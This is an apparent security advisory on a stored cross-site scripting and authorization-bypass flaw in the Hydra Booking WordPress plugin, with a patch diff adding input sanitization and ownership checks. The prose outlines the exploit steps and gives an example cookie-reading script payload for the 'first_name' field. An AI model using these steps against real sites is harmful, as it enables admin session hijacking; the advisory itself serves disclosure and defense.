Published : August 14, 2026

CVE-2026-15948: Hydra Booking <= 1.2.2 Authenticated (Host+) Stored Cross-Site Scripting via 'first_name' Parameter PoC, Patch Analysis & Rule

Plugin hydra-booking
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2.2
Patched Version 1.2.3
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15948: This vulnerability allows stored cross-site scripting (XSS) via the ‘first_name’ parameter in the Hydra Booking plugin for WordPress, affecting versions up to and including 1.2.2. The issue stems from a combination of weak role-based checks, a lack of authorization on administrative endpoints, and unsanitized user input. An attacker with host-level access, which can be self-assigned by any visitor via the plugin’s public Signup shortcode, can inject arbitrary web scripts that execute whenever an administrator accesses the injected page. The CVSS score is 6.4, and the vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

The root cause of the stored XSS lies in the `UpdateFdUserProfile` method within the `/hydra-booking/admin/Controller/FrontendDashboard.php` file. The vulnerable code retrieves the ‘first_name’ parameter directly from the user’s request and passes it to `wp_update_user` without sanitization. Concurrently, the `tfhb_verify_booking_ownership` method in `BookingController.php` relied on the `roles[0]` property and the `tfhb_manage_settings` capability to determine administrator status. This check was flawed because a user with both ‘administrator’ and ‘tfhb_host’ roles could have either role in the `roles[0]` position, and the `tfhb_host` role could explicitly set `tfhb_manage_settings` to `false`, overriding the administrator’s `true` value in WordPress’s capability merge logic. Furthermore, the `permission_callback` in `RouteController.php` allowed any authenticated user to pass the capability name they wanted to check via a header, creating an authorization bypass.

An attacker can exploit this by first registering an account via the plugin’s public Signup shortcode, which automatically assigns the ‘tfhb_host’ role. After registration, the attacker would authenticate and send a POST request to the `/wp-json/tfhb_frontend_dashboard/v1/update-profile` endpoint with a crafted payload. The payload would include a malicious script in the ‘first_name’ field, such as `alert(document.cookie)`. Because the endpoint lacked proper authorization checks, the attacker could directly target the `UpdateFdUserProfile` function, which would then save the unsanitized payload to the user’s profile. This stored XSS payload executes whenever an administrator views the list of registered users or visits a page that renders this information, leading to session hijacking or other malicious actions in the admin’s browser context.

The patch addresses the vulnerability through multiple layers of defense. First, it sanitizes user input by applying `sanitize_text_field()` to the ‘first_name’ parameter in both `FrontendDashboard.php` and `HostsController.php`. Second, it fixes the authorization checks by replacing the flawed role-based logic in `tfhb_verify_booking_ownership` with a reliable `current_user_can(‘manage_options’)` check. The patch also removes the insecure `permission_callback` method that trusted a client-supplied header, and updates numerous other endpoints to resolve host records from the authenticated session instead of client-supplied IDs. The `UpdateController.php` now removes the explicit `false` value for `tfhb_manage_settings` from the ‘tfhb_host’ role, ensuring that administrator capabilities are not overridden. The result is that only legitimate administrators can modify host profiles, and all input is sanitized before being stored or displayed, mitigating the XSS vector.

The primary impact of successful exploitation is the execution of arbitrary client-side scripts within the context of an authenticated administrator’s browser session. An attacker can use this to steal administrator cookies, capture keystrokes, perform unauthorized actions like creating rogue administrator accounts, or deface the WordPress site by injecting malicious content. The vulnerability is further heightened because the required ‘tfhb_host’ role can be self-obtained by any visitor, transforming the attack from an authenticated privilege escalation into an effective unauthenticated attack vector that can lead to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/hydra-booking/admin/Controller/AdminMenu.php
+++ b/hydra-booking/admin/Controller/AdminMenu.php
@@ -71,12 +71,12 @@
 			array(
 				'id'         => 'settings',
 				'Title'      => esc_html__( 'Settings', 'hydra-booking' ),
-				'capability' => 'tfhb_manage_settings',
+				'capability' => 'tfhb_manage_options',
 			),
 			array(
 				'id'         => 'setup-wizard',
 				'Title'      => esc_html__( 'Setup Wizard', 'hydra-booking' ),
-				'capability' => 'tfhb_manage_settings',
+				'capability' => 'tfhb_manage_options',
 			),

 		);
--- a/hydra-booking/admin/Controller/BookingController.php
+++ b/hydra-booking/admin/Controller/BookingController.php
@@ -29,10 +29,12 @@
 	}

 	private function tfhb_verify_booking_ownership( $booking_id ) {
-		$current_user      = wp_get_current_user();
-		$current_user_role = ! empty( $current_user->roles[0] ) ? $current_user->roles[0] : '';
-
-		if ( 'administrator' === $current_user_role && current_user_can( 'tfhb_manage_settings' ) ) {
+		// Use manage_options directly rather than roles[0]/tfhb_manage_settings: a user holding
+		// both 'administrator' and 'tfhb_host' roles can have roles[0] be either one depending on
+		// assignment order, and WordPress's role-capability merge can let tfhb_host's explicit
+		// false for tfhb_manage_settings win over administrator's true. manage_options is core
+		// WordPress and is never touched by the tfhb_host role, so it's a reliable admin check.
+		if ( current_user_can( 'manage_options' ) ) {
 			return true;
 		}
 		$host      = new Host();
@@ -840,6 +842,18 @@
 	// Booking Filter
 	public function filterBookings( $request ) {
 		$filterData = $request->get_param( 'filterData' );
+		if ( ! is_array( $filterData ) ) {
+			$filterData = array();
+		}
+
+		// Scope a tfhb_host caller to their own bookings only; admins see everything.
+		$current_user      = wp_get_current_user();
+		$current_user_role = ! empty( $current_user->roles[0] ) ? $current_user->roles[0] : '';
+		if ( 'tfhb_host' === $current_user_role ) {
+			$host      = new Host();
+			$host_data = $host->getHostByUserId( get_current_user_id() );
+			$filterData['host_id'] = ! empty( $host_data->id ) ? $host_data->id : -1;
+		}

 		// Booking Lists
 		$booking      = new Booking();
@@ -906,13 +920,13 @@
 			$data = array(
 				'id'                 => isset( $request['id'] ) ? $request['id'] : '',
 				'meeting_id'         => isset( $request['meeting'] ) ? $request['meeting'] : '',
-				'attendee_name'      => isset( $request['name'] ) ? $request['name'] : '',
-				'email'              => isset( $request['email'] ) ? $request['email'] : '',
-				'attendee_time_zone' => isset( $request['time_zone'] ) ? $request['time_zone'] : '',
+				'attendee_name'      => isset( $request['name'] ) ? sanitize_text_field( $request['name'] ) : '',
+				'email'              => isset( $request['email'] ) ? sanitize_email( $request['email'] ) : '',
+				'attendee_time_zone' => isset( $request['time_zone'] ) ? sanitize_text_field( $request['time_zone'] ) : '',
 				'start_time'         => isset( $request['time']['start'] ) ? $request['time']['start'] : '',
 				'end_time'           => isset( $request['time']['end'] ) ? $request['time']['end'] : '',
 				'meeting_dates'      => isset( $request['date'] ) ? $request['date'] : '',
-				'status'             => isset( $request['status'] ) ? $request['status'] : '',
+				'status'             => isset( $request['status'] ) ? sanitize_text_field( $request['status'] ) : '',
 			);

 			// Booking Update
@@ -920,9 +934,9 @@
 		} else {
 			$data = array(
 				'meeting_id'         => isset( $request['meeting'] ) ? $request['meeting'] : '',
-				'attendee_name'      => isset( $request['name'] ) ? $request['name'] : '',
-				'email'              => isset( $request['email'] ) ? $request['email'] : '',
-				'attendee_time_zone' => isset( $request['time_zone'] ) ? $request['time_zone'] : '',
+				'attendee_name'      => isset( $request['name'] ) ? sanitize_text_field( $request['name'] ) : '',
+				'email'              => isset( $request['email'] ) ? sanitize_email( $request['email'] ) : '',
+				'attendee_time_zone' => isset( $request['time_zone'] ) ? sanitize_text_field( $request['time_zone'] ) : '',
 				'host_id'            => isset( $request['host'] ) ? $request['host'] : '',
 				'meeting_dates'      => isset( $request['date'] ) ? $request['date'] : '',
 				'start_time'         => isset( $request['time']['start'] ) ? $request['time']['start'] : '',
@@ -991,8 +1005,7 @@

 		$request       = json_decode( file_get_contents( 'php://input' ), true );
 		$booking_id    = $request['id'];
-		$booking_owner = $request['host'];
-
+
 		if ( empty( $booking_id ) || $booking_id == 0 ) {
 			return rest_ensure_response(
 				array(
@@ -1013,7 +1026,8 @@
 			do_action( 'hydra_booking/after_booking_deleted', $single_booking_meta );
 		}
 		$bookingDelete = $booking->delete( $booking_id );
-		$current_user  = get_userdata( $booking_owner );
+		// Resolve the acting user's role from the authenticated session, never from client input.
+		$current_user  = wp_get_current_user();
 		// get user role
 		$current_user_role = ! empty( $current_user->roles[0] ) ? $current_user->roles[0] : '';
 		$current_user_id   = $current_user->ID;
@@ -1593,7 +1607,6 @@
 	 public function  cancelBookingAttendee( $request ) {

 		$attendee_id = $request['id'];
-		$booking_id = $request['booking_id'];
 		$status     =  $request['status'];
 		$cancel_reason =  $request['cancel_reason'];
 		if ( empty( $attendee_id ) || $attendee_id == 0 ) {
@@ -1605,11 +1618,30 @@
 			);
 		}

-		if ( ! empty( $booking_id ) && ! $this->tfhb_verify_booking_ownership( $booking_id ) ) {
-			return new WP_Error( 'rest_forbidden', __( 'You are not allowed to access this booking.', 'hydra-booking' ), array( 'status' => 403 ) );
+		$Attendee = new Attendees();
+
+		// Derive the booking id from the attendee record itself - never trust a client-supplied
+		// booking_id, which could belong to a different booking than the attendee being mutated.
+		$existingAttendeeBooking = $Attendee->getAttendeeWithBooking(
+			array(
+				array( 'id', '=', $attendee_id ),
+			),
+			1,
+			'DESC'
+		);
+		if ( empty( $existingAttendeeBooking ) || empty( $existingAttendeeBooking->booking_id ) ) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('Invalid Attendee', 'hydra-booking'),
+				)
+			);
 		}
+		$booking_id = $existingAttendeeBooking->booking_id;

-		$Attendee = new Attendees();
+		if ( ! $this->tfhb_verify_booking_ownership( $booking_id ) ) {
+			return new WP_Error( 'rest_forbidden', __( 'You are not allowed to access this booking.', 'hydra-booking' ), array( 'status' => 403 ) );
+		}

 		 $update_data = array(

--- a/hydra-booking/admin/Controller/FrontendDashboard.php
+++ b/hydra-booking/admin/Controller/FrontendDashboard.php
@@ -51,7 +51,7 @@
 			array(
 				'methods'  => 'POST',
 				'callback' => array( $this, 'GetFdUserAuth' ),
-				'permission_callback' =>  array(new RouteController() , 'tfhb_manage_options_permission'),
+				'permission_callback' =>  array(new RouteController() , 'tfhb_manage_hosts_permission'),
 			)
 		);
         // Logout
@@ -61,7 +61,7 @@
 			array(
 				'methods'  => 'POST',
 				'callback' => array( $this, 'LogoutFdUser' ),
-				'permission_callback' =>  array(new RouteController() , 'tfhb_manage_options_permission'),
+				'permission_callback' =>  array(new RouteController() , 'tfhb_manage_hosts_permission'),
 			)
 		);

@@ -203,22 +203,23 @@
         $userAuthData = isset($request['userAuthData']) ? $request['userAuthData'] : array();
         $user = wp_get_current_user();
         $user_id = $user->ID;
-
-        if($userAuthData['id'] != $user_id){
-
+
+        if(! isset($userAuthData['id']) || (int) $userAuthData['id'] !== $user_id){
+
             // return response
             $data = array(
                 'status' => false,
                 'message' => __( 'You are not authorized to access this endpoint.', 'hydra-booking' )
             );
-
-            // log out
+
+            // log out
             wp_logout();
             return rest_ensure_response($data);
-
+
         }
-        $host = new Host();
-        $host_data = $host->getHostById( $userAuthData['host_id'] );
+        $host = new Host();
+        // Resolve the host record from the authenticated session, never from a client-supplied host_id.
+        $host_data = $host->getHostByUserId( $user_id );

         $settings = !empty(get_option('_tfhb_frontend_dashboard_settings')) ? get_option('_tfhb_frontend_dashboard_settings') : array();
         $site_settings = [];
@@ -289,13 +290,17 @@
      public function UpdateFdUserProfile(){
         $request =  json_decode(file_get_contents('php://input'), true);
         $userAuth = isset($request['userAuth']) ? $request['userAuth'] : array();
-        $userEmail = isset($userAuth['email']) ? $userAuth['email'] : '';
-
+        $userEmail = isset($userAuth['email']) ? sanitize_email($userAuth['email']) : '';
+
         $user = wp_get_current_user();
         $user_id = $user->ID;
         $user_data = array();
         $user_data['ID'] = $user_id;
-        if($user_id != $userAuth['user_id']){
+
+        // Resolve the host record that belongs to the current user; never trust a client-supplied host/user id.
+        $host = new Host();
+        $HostData = $host->getHostByUserId($user_id);
+        if (empty($HostData)) {
             // return response
             $data = array(
                 'status' => false,
@@ -304,7 +309,7 @@
             return rest_ensure_response($data);
         }
         // Check user email change or not
-        if($user->user_email != $userEmail){
+        if($userEmail !== '' && $user->user_email != $userEmail){
             // check user email already exist or not
             $user_by_email = get_user_by( 'email', $userEmail );
             if ( !empty($user_by_email) ) {
@@ -316,17 +321,28 @@
                 return rest_ensure_response($data);
             }
             $user_data['user_email'] = $userEmail;
-
+
         }
         // update first name
-        $user_data['first_name'] = isset($userAuth['first_name']) ? $userAuth['first_name'] : '';
-        // update last name
-        $user_data['last_name'] = isset($userAuth['last_name']) ? $userAuth['last_name'] : '';
-        // update display name
-
-        $host = new Host();
-
-        $hostUpdate = $host->update( $userAuth);
+        $user_data['first_name'] = isset($userAuth['first_name']) ? sanitize_text_field($userAuth['first_name']) : '';
+        // update last name
+        $user_data['last_name'] = isset($userAuth['last_name']) ? sanitize_text_field($userAuth['last_name']) : '';
+        // update display name
+
+        // Build the host DB update from a whitelist of sanitized fields, keyed to the
+        // host record we resolved above rather than any id/user_id supplied by the client.
+        $hostUpdateData = array(
+            'id'             => $HostData->id,
+            'first_name'     => $user_data['first_name'],
+            'last_name'      => $user_data['last_name'],
+            'email'          => $userEmail !== '' ? $userEmail : $HostData->email,
+            'phone_number'   => isset($userAuth['phone_number']) ? sanitize_text_field($userAuth['phone_number']) : $HostData->phone_number,
+            'about'          => isset($userAuth['about']) ? wp_kses_post($userAuth['about']) : $HostData->about,
+            'avatar'         => isset($userAuth['avatar']) ? sanitize_text_field($userAuth['avatar']) : $HostData->avatar,
+            'featured_image' => isset($userAuth['featured_image']) ? sanitize_text_field($userAuth['featured_image']) : $HostData->featured_image,
+        );
+
+        $hostUpdate = $host->update( $hostUpdateData );
         // tfhb_print_r($user_data);
         wp_update_user($user_data);

--- a/hydra-booking/admin/Controller/HostsController.php
+++ b/hydra-booking/admin/Controller/HostsController.php
@@ -71,7 +71,7 @@
 			array(
 				'methods'  => 'GET',
 				'callback' => array($this, 'getTheHostData'),
-				'permission_callback' =>  array(new RouteController(), 'tfhb_manage_integrations_permission'),
+				'permission_callback' =>  array(new RouteController(), 'tfhb_manage_options_permission'),
 			)
 		);
 		register_rest_route(
@@ -164,7 +164,7 @@
 			array(
 				'methods'  => 'GET',
 				'callback' => array($this, 'filterHosts'),
-				'permission_callback' =>  array(new RouteController(), 'tfhb_manage_integrations_permission'),
+				'permission_callback' =>  array(new RouteController(), 'tfhb_manage_options_permission'),
 				'args'     => array(
 					'title' => array(
 						'sanitize_callback' => 'sanitize_text_field',
@@ -387,8 +387,24 @@
 				)
 			);
 		}
+		$host = new Host();
+
+		// Verify the target user is actually a tfhb_host, and that the host row belongs to them,
+		// before deleting anything.
+		require_once ABSPATH . 'wp-admin/includes/user.php';
+		$user_meta  = get_userdata($user_id);
+		$user_roles = ! empty($user_meta->roles[0]) ? $user_meta->roles[0] : '';
+		$HostData   = $host->getHostById($host_id);
+		if (empty($HostData) || (int) $HostData->user_id !== (int) $user_id || empty($user_roles) || 'tfhb_host' !== $user_roles) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('Invalid Host', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Delete Host
-		$host       = new Host();
 		$hostDelete = $host->delete($host_id);
 		if (! $hostDelete) {
 			return rest_ensure_response(
@@ -400,12 +416,7 @@
 		}

 		// Delete the user
-		require_once ABSPATH . 'wp-admin/includes/user.php';
-		$user_meta  = get_userdata($user_id);
-		$user_roles = ! empty($user_meta->roles[0]) ? $user_meta->roles[0] : '';
-		if (! empty($user_roles) && 'tfhb_host' == $user_roles) {
-			$deleted = wp_delete_user($user_id);
-		}
+		$deleted = wp_delete_user($user_id);

 		// Update user Option
 		delete_user_meta($user_id, '_tfhb_host');
@@ -518,21 +529,31 @@
 			);
 		}

+		// Only allow admins, or the host themselves, to update this host record
+		if (! current_user_can('manage_options') && (int) $HostData->user_id !== get_current_user_id()) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this host.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Update Host
 		$data       = array(
 			'id'                 => $request['id'],
-			'first_name'         => $request['first_name'],
-			'last_name'          => $request['last_name'],
-			'email'              => $request['email'],
-			'phone_number'       => $request['phone_number'],
-			'about'              => $request['about'],
-			'avatar'             => $request['avatar'],
-			'featured_image'     => $request['featured_image'],
-			'availability_type'  => $request['availability_type'],
-			'others_information' => $request['others_information'],
+			'first_name'         => sanitize_text_field($request['first_name']),
+			'last_name'          => sanitize_text_field($request['last_name']),
+			'email'              => sanitize_email($request['email']),
+			'phone_number'       => sanitize_text_field($request['phone_number']),
+			'about'              => wp_kses_post($request['about']),
+			'avatar'             => sanitize_text_field($request['avatar']),
+			'featured_image'     => sanitize_text_field($request['featured_image']),
+			'availability_type'  => sanitize_text_field($request['availability_type']),
+			'others_information' => self::sanitize_others_information($request['others_information']),
 			'availability_id'    => $request['availability_id'],
-			'time_zone'          => $request['time_zone'],
-			'status'             => $request['status'],
+			'time_zone'          => sanitize_text_field($request['time_zone']),
+			'status'             => sanitize_text_field($request['status']),
 		);
 		$hostUpdate = $host->update($data);
 		if (! $hostUpdate['status']) {
@@ -636,6 +657,26 @@
 		$host_id  = $request['id'];
 		$host     = new Host();
 		$hostData = $host->get($host_id);
+
+		if (empty($hostData)) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('Invalid Host', 'hydra-booking'),
+				)
+			);
+		}
+
+		// Only allow admins, or the host themselves, to view these integration settings
+		if (! current_user_can('manage_options') && (int) $hostData->user_id !== get_current_user_id()) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to view this host.', 'hydra-booking'),
+				)
+			);
+		}
+
 		$user_id  = $hostData->user_id;


@@ -840,6 +881,27 @@
 		$data    = $request['value'];
 		$host_id = $request['id'];
 		$user_id = $request['user_id'];
+
+		// Only allow admins, or the host themselves, to update these integration settings
+		if (! current_user_can('manage_options') && (int) $user_id !== get_current_user_id()) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this host.', 'hydra-booking'),
+				)
+			);
+		}
+		$host     = new Host();
+		$hostData = $host->get($host_id);
+		if (empty($hostData) || (int) $hostData->user_id !== (int) $user_id) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('Invalid Host', 'hydra-booking'),
+				)
+			);
+		}
+
 		$_tfhb_host_integration_settings = is_array(get_user_meta($user_id, '_tfhb_host_integration_settings', true)) ? get_user_meta($user_id, '_tfhb_host_integration_settings', true) : array();

 		$_tfhb_integration_settings = get_option('_tfhb_integration_settings');
@@ -1038,6 +1100,16 @@
 	{
 		$request = json_decode(file_get_contents('php://input'), true);

+		// Only allow admins, or the host themselves, to view this host's availability
+		if (! current_user_can('manage_options') && (int) $request['id'] !== get_current_user_id()) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to view this host.', 'hydra-booking'),
+				)
+			);
+		}
+
 		$DateTimeZone = new DateTimeController('UTC');
 		$time_zone    = $DateTimeZone->TimeZone();

@@ -1070,6 +1142,25 @@
 		$host     = new Host();
 		$HostData = $host->get($request['host_id']);

+		if (empty($HostData)) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('Invalid Host', 'hydra-booking'),
+				)
+			);
+		}
+
+		// Only allow admins, or the host themselves, to view this host's availability
+		if (! current_user_can('manage_options') && (int) $HostData->user_id !== get_current_user_id()) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to view this host.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// If Host Use existing availability
 		if (! empty($HostData->availability_type) && 'settings' == $HostData->availability_type) {
 			if (! empty($HostData->availability_id)) {
@@ -1137,6 +1228,16 @@
 			return rest_ensure_response($data);
 		}

+		// Only allow admins, or the host themselves, to update this host's availability
+		if (! current_user_can('manage_options') && (int) $request['user_id'] !== get_current_user_id()) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this host.', 'hydra-booking'),
+				)
+			);
+		}
+
 		$_tfhb_host_info        = !empty(get_user_meta($request['user_id'], '_tfhb_host', true)) ? get_user_meta($request['user_id'], '_tfhb_host', true) : array();
 		$tfhb_host_availability = ! empty($_tfhb_host_info['availability']) ? $_tfhb_host_info['availability'] : array();

@@ -1260,6 +1361,21 @@


 	/**
+	 * Recursively sanitize the host "others_information" custom-fields map,
+	 * which is stored as-is (json-encoded) and must never carry raw HTML.
+	 */
+	private static function sanitize_others_information($value)
+	{
+		if (is_array($value)) {
+			return array_map(array(__CLASS__, 'sanitize_others_information'), $value);
+		}
+		if (is_string($value)) {
+			return sanitize_text_field($value);
+		}
+		return $value;
+	}
+
+	/**
 	 * Fetch Integration Settings
 	 */
 	public function FetchIntegrationSettings()
--- a/hydra-booking/admin/Controller/MeetingController.php
+++ b/hydra-booking/admin/Controller/MeetingController.php
@@ -28,6 +28,31 @@

 	public function init() {}

+	/**
+	 * Verify the current user owns (or, as an admin, may manage) the given meeting.
+	 * Mirrors BookingController::tfhb_verify_booking_ownership().
+	 */
+	private function tfhb_verify_meeting_ownership($meeting_id)
+	{
+		$current_user      = wp_get_current_user();
+		$current_user_role = ! empty($current_user->roles[0]) ? $current_user->roles[0] : '';
+
+		if ('administrator' === $current_user_role && current_user_can('tfhb_manage_settings')) {
+			return true;
+		}
+		$host      = new Host();
+		$host_data = $host->getHostByUserId(get_current_user_id());
+		if (empty($host_data) || empty($host_data->id)) {
+			return false;
+		}
+		$meeting        = new Meeting();
+		$meeting_record = $meeting->get(absint($meeting_id));
+		if (empty($meeting_record)) {
+			return false;
+		}
+		return (int) $meeting_record->host_id === (int) $host_data->id;
+	}
+
 	public function create_endpoint()
 	{
 		register_rest_route(
@@ -383,6 +408,15 @@
 	{
 		$request = json_decode(file_get_contents('php://input'), true);

+		if (empty($request['meeting_id']) || ! $this->tfhb_verify_meeting_ownership($request['meeting_id'])) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Get Meeting
 		$meeting     = new Meeting();
 		$MeetingData = $meeting->get($request['meeting_id']);
@@ -440,6 +474,15 @@
 	// Webhook Delete
 	public function deleteMeetingWebhook($request)
 	{
+		if (empty($request['meeting_id']) || ! $this->tfhb_verify_meeting_ownership($request['meeting_id'])) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Get Meeting
 		$meeting     = new Meeting();
 		$MeetingData = $meeting->get($request['meeting_id']);
@@ -490,6 +533,16 @@
 	public function updateMeetingIntegration()
 	{
 		$request = json_decode(file_get_contents('php://input'), true);
+
+		if (empty($request['meeting_id']) || ! $this->tfhb_verify_meeting_ownership($request['meeting_id'])) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// tfhb_print_r($request);
 		// Get Meeting
 		$meeting     = new Meeting();
@@ -551,6 +604,15 @@
 	// Integration Delete
 	public function deleteMeetingIntegration($request)
 	{
+		if (empty($request['meeting_id']) || ! $this->tfhb_verify_meeting_ownership($request['meeting_id'])) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Get Meeting
 		$meeting     = new Meeting();
 		$MeetingData = $meeting->get($request['meeting_id']);
@@ -841,7 +903,6 @@
 		$request = json_decode(file_get_contents('php://input'), true);
 		// Check if user is selected
 		$meeting_id = $request['id'];
-		$post_id    = $request['post_id'];
 		if (empty($meeting_id) || $meeting_id == 0) {
 			return rest_ensure_response(
 				array(
@@ -851,13 +912,25 @@
 			);
 		}

+		if (! $this->tfhb_verify_meeting_ownership($meeting_id)) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to delete this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		$current_user = wp_get_current_user();
 		// get user role
 		$current_user_role = ! empty($current_user->roles[0]) ? $current_user->roles[0] : '';
 		$current_user_id   = $current_user->ID;

 		// Delete Meeting
-		$meeting       = new Meeting();
+		$meeting     = new Meeting();
+		$MeetingData = $meeting->get($meeting_id);
+		// Only ever delete the post that actually belongs to this meeting, never a client-supplied post_id.
+		$post_id       = ! empty($MeetingData->post_id) ? $MeetingData->post_id : 0;
 		$meetingDelete = $meeting->delete($meeting_id);
 		if (! $meetingDelete) {

@@ -963,6 +1036,16 @@
 				)
 			);
 		}
+
+		if (! $this->tfhb_verify_meeting_ownership($id)) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to view this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Get Meeting
 		$meeting     = new Meeting();
 		$MeetingData = $meeting->get($id);
@@ -1387,6 +1470,15 @@
 			);
 		}

+		if (! $this->tfhb_verify_meeting_ownership($meeting_id)) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to update this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		// Get Current User
 		$current_user = wp_get_current_user();
 		// get user id
@@ -1540,6 +1632,16 @@
 		$current_user_id = $current_user->ID;

 		$get_meeting_id = $request['id'];
+
+		if (! $this->tfhb_verify_meeting_ownership($get_meeting_id)) {
+			return rest_ensure_response(
+				array(
+					'status'  => false,
+					'message' => __('You do not have permission to clone this meeting.', 'hydra-booking'),
+				)
+			);
+		}
+
 		$meeting = new Meeting();
 		$meeting_data = (array) $meeting->getWithID($get_meeting_id);
 		unset($meeting_data['id']);
--- a/hydra-booking/admin/Controller/RouteController.php
+++ b/hydra-booking/admin/Controller/RouteController.php
@@ -51,15 +51,6 @@
 		add_action('rest_api_init', array($class, $function));
 	}

-	public function permission_callback(WP_REST_Request $request)
-	{
-		// get header data form request "capability'
-		$capability = $request->get_header('capability');
-
-		// check current user have capability
-		return current_user_can($capability);
-	}
-
 	public function tfhb_manage_options_permission()
 	{
 		return current_user_can('tfhb_manage_options');
@@ -76,4 +67,13 @@
 	{
 		return current_user_can('tfhb_manage_custom_availability');
 	}
+	public function tfhb_manage_settings_permission()
+	{
+		// manage_options is core WordPress and only real administrators hold it, so it's a
+		// reliable bypass regardless of what the tfhb_host role's own capability is set to.
+		if (current_user_can('manage_options')) {
+			return true;
+		}
+		return current_user_can('tfhb_manage_settings');
+	}
 }
--- a/hydra-booking/admin/Controller/UpdateController.php
+++ b/hydra-booking/admin/Controller/UpdateController.php
@@ -21,9 +21,11 @@

         // Remove it after few releases
         $this->tfhb_check_and_add_upload_cap();
-
-
-	}
+
+        // Remove it after few releases
+        $this->tfhb_check_and_remove_host_settings_cap();
+
+	}

     /**
      * Update Database table structure
@@ -156,10 +158,25 @@
      public function tfhb_check_and_add_upload_cap() {
         $role_name = 'tfhb_host'; // Change this to the role you want to modify
         $role = get_role($role_name);
-
+
         if ($role && !$role->has_cap('upload_files')) {
             $role->add_cap('upload_files');
         }
     }

+    // Remove the explicit `false` value for 'tfhb_manage_settings' from the
+    // tfhb_host role, left over from before this capability was made
+    // "omitted" instead of "false". An explicit false on one of a user's
+    // roles overrides a true granted by another role of theirs (e.g. an
+    // administrator who was also auto-added as a host), which was hiding
+    // the Settings/Integrations/Notifications menu in the Frontend
+    // Dashboard for such users even though they're admins.
+     public function tfhb_check_and_remove_host_settings_cap() {
+        $role = get_role('tfhb_host');
+
+        if ($role && isset($role->capabilities['tfhb_manage_settings']) && false === $role->capabilities['tfhb_manage_settings']) {
+            $role->remove_cap('tfhb_manage_settings');
+        }
+    }
+
 }
--- a/hydra-booking/admin/Controller/iCalendarController.php
+++ b/hydra-booking/admin/Controller/iCalendarController.php
@@ -46,7 +46,7 @@
                 'methods'  => 'GET',
                 'callback' => array($this, 'GetICalSettings'),
                 'permission_callback' => function () {
-                    return current_user_can('tfhb_manage_settings');
+                    return current_user_can('manage_options') || current_user_can('tfhb_manage_settings');
                 },
             )
         );
@@ -57,7 +57,7 @@
                 'methods'  => 'POST',
                 'callback' => array($this, 'ResetICalSecret'),
                 'permission_callback' => function () {
-                    return current_user_can('tfhb_manage_settings');
+                    return current_user_can('manage_options') || current_user_can('tfhb_manage_settings');
                 },
             )
         );
@@ -68,7 +68,7 @@
                 'methods'  => 'GET',
                 'callback' => array($this, 'GetMeetings'),
                 'permission_callback' => function () {
-                    return current_user_can('tfhb_manage_settings');
+                    return current_user_can('manage_options') || current_user_can('tfhb_manage_settings');
                 },
             )
         );
@@ -79,7 +79,7 @@
                 'methods'  => 'POST',
                 'callback' => array($this, 'GenerateMeetingICalUrl'),
                 'permission_callback' => function () {
-                    return current_user_can('tfhb_manage_settings');
+                    return current_user_can('manage_options') || current_user_can('tfhb_manage_settings');
                 },
             )
         );
--- a/hydra-booking/app/Content/Archive/archive-page-tfhb-host.php
+++ b/hydra-booking/app/Content/Archive/archive-page-tfhb-host.php
@@ -27,7 +27,7 @@
 <div class="tfhb-meeting-archive">
     <div class="tfhb-category-list">
         <div class="tfhb-category-list__heading">
-            <h2><?php echo esc_html( __('Host: ', 'hydra-booking') );?> <?php echo $hostData->first_name ?> <?php echo $hostData->last_name ?></h2>
+            <h2><?php echo esc_html( __('Host: ', 'hydra-booking') );?> <?php echo esc_html( $hostData->first_name ) ?> <?php echo esc_html( $hostData->last_name ) ?></h2>

         </div>
         <div class="tfhb-meeting-list__wrap">
--- a/hydra-booking/app/Content/Template/meeting-info.php
+++ b/hydra-booking/app/Content/Template/meeting-info.php
@@ -74,6 +74,7 @@
 		if ( ! empty( $booking_data ) ) {
 			echo '<input type="hidden" id="booking_hash" name="booking_hash" value="' . esc_attr( $booking_data->hash ) . '">';
 			echo '<input type="hidden" id="action_type" name="action_type" value="' . esc_attr( 'reschedule' ) . '">';
+			echo '<input type="hidden" id="reschedule_nonce" name="reschedule_nonce" value="' . esc_attr( wp_create_nonce( 'tfhb_reschedule_' . $booking_data->hash ) ) . '">';
 		}
 		?>
 	</div>
--- a/hydra-booking/app/FrontendDashboard/FrontendDashboard.php
+++ b/hydra-booking/app/FrontendDashboard/FrontendDashboard.php
